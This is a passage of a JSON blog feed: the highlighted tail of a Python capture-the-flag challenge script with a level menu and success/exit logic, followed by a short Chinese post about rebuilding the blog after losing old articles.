class=\"p\">(<\/span><span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">def<\/span> <span class=\"nf\">success<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"nb\">bin<\/span><span class=\"p\">(<\/span><span class=\"n\">success_flag<\/span><span class=\"p\">))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">exit<\/span><span class=\"p\">(<\/span><span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"n\">c<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">int<\/span><span class=\"p\">(<\/span><span class=\"nb\">input<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#34;<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">1. 4 bits (plain)<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">2. 16 bits (obfuscated)<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">3. 64 bits (obfuscated)<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">Choose level: &#34;<\/span><span class=\"p\">))<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">if<\/span> <span class=\"n\">c<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">1<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">chal<\/span><span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">,<\/span> <span class=\"kc\">False<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">failed<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">elif<\/span> <span class=\"n\">c<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">2<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">chal<\/span><span class=\"p\">(<\/span><span class=\"mi\">16<\/span><span class=\"p\">,<\/span> <span class=\"kc\">True<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">failed<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">elif<\/span> <span class=\"n\">c<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">3<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"k\">if<\/span> <span class=\"ow\">not<\/span> <span class=\"n\">chal<\/span><span class=\"p\">(<\/span><span class=\"mi\">64<\/span><span class=\"p\">,<\/span> <span class=\"kc\">True<\/span><span class=\"p\">):<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">failed<\/span><span class=\"p\">()<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">else<\/span><span class=\"p\">:<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&#34;Need more challenges? Maybe Hackergame 2023~&#34;<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> <span class=\"n\">exit<\/span><span class=\"p\">(<\/span><span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"n\">success<\/span><span class=\"p\">(<\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><\/code><\/pre><\/td><\/tr><\/table>\n<\/div>\n<\/div>"},{"title":"Init","link":"https:\/\/baka.studio\/p\/init\/","pubDate":"Tue, 10 May 2022 00:21:02 +0800","guid":"https:\/\/baka.studio\/p\/init\/","description":"<p>\u65f6\u9694\u4e00\u5e74\u7ec8\u4e8e\u60f3\u8d77\u6765\u91cd\u5efa\u535a\u5ba2\uff0c\u53ef\u60dc\u4ee5\u524d\u7684\u6587\u7ae0\u90fd\u56e0\u4e3a\u6ca1\u6709\u5907\u4efd\u800c\u4e22\u6389\u4e86\u3002<\/p>\n<p>Wayback Machine \u4e0a\u9762\u867d\u7136\u6709<a class=\"link\" href=\"http:\/\/web.archive.org\/web\/*\/baka.studio\" target=\"_blank\" rel=\"noopener\"\n >\u4ee5\u524d\u535a\u5ba2\u7684\u5feb\u7167<\/a>\uff0c\u4f46\u6587\u7ae0\u4ec0\u4e48\u7684\u4f3c\u4e4e\u56e0\u4e3a<a class=\"link\" href=\"https:\/\/www.ihewro.com\/archives\/489\/\" target=\"_blank\" rel=\"noopener\"\n >\u5f53\u65f6\u4f7f\u7528\u7684\u4e3b\u9898<\/a>\u7684\u539f\u56e0\u6ca1\u6709\u88ab\u5feb\u7167\u4e0b\u6765<\/p>\n<p>\u5c31\u5f53\u662f\u65b0\u7684\u5f00\u59cb\u597d\u4e86<\/p>"}]}}